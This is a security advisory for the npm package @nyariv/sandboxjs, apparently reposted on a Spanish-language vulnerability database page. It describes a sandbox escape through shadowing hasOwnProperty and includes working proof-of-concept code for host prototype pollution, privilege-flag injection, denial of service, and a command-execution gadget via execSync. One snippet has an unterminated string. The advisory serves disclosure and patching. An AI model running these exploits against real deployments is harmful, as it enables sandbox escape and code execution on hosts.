@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
Summary
A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.
The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.
Root Cause
prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.
- src/executor.ts:348
const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');
- src/executor.ts:367-399 prototype whitelist enforcement only happens when
prototypeAccessis true.
- src/executor.ts:220-233 mutation guard uses
obj.context.hasOwnProperty(...), also bypassable via shadowing.
Proofs of Concept
node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration
node node_modules/rollup/dist/bin/rollup -c
Runtime target: dist/node/Sandbox.js
Baseline: __proto__ blocked without bypass
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
const res = sandbox.compile(`return ({}).__proto__`)().run();
console.log('res', res);
} catch (e) {
console.log('error', e && e.message);
}
Prototype whitelist bypass -> host Object.prototype pollution
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.polluted = 'pwned';
return 'done';
`;
sandbox.compile(code)().run();
console.log('polluted' in ({}), ({}).polluted);
Logic bypass via prototype pollution
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.isAdmin = true;
return 'ok';
`)().run();
console.log('isAdmin', ({}).isAdmin === true);
DoS by overriding Object.prototype.toString
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.toString = function () { throw new Error('aaaaaaa'); };
return 'ok';
`)().run();
try {
String({});
} catch (e) {
console.log('error', e.message);
}
RCE via host gadget (prototype pollution -> execSync)
<img width="737" height="143" alt="image" src="https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40" />
const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.cmd = 'id;
return 'ok';
`)().run();
const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);
Additional Finding : Prototype mutation via intermediate reference
This does not require the hasOwnProperty bypass. Some prototypes can be reached via allowed static access ([].constructor.prototype) and then mutated via a local variable, which bypasses isGlobal checks.
Mutate Array.prototype.filter without bypass
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();
console.log('host filter', [1,2].filter);
Output:
host filter 1
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | @nyariv/sandboxjs | < 0.8.29 | 0.8.29 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Debilidad (CWE)
CWE-74- Plataforma
- npm
- Paquete
@nyariv/sandboxjs- Publicada
- 05.02.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-jjpw-65fv-8g48 - CC BY 4.0
Historial de vulnerabilidades: @nyariv/sandboxjs
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 14
- Primera → última
- 07.2025 05.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 10
- Alta 1
- Media 3
Divulgaciones por año
- 2025: 1
- 2026: 13
-
@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.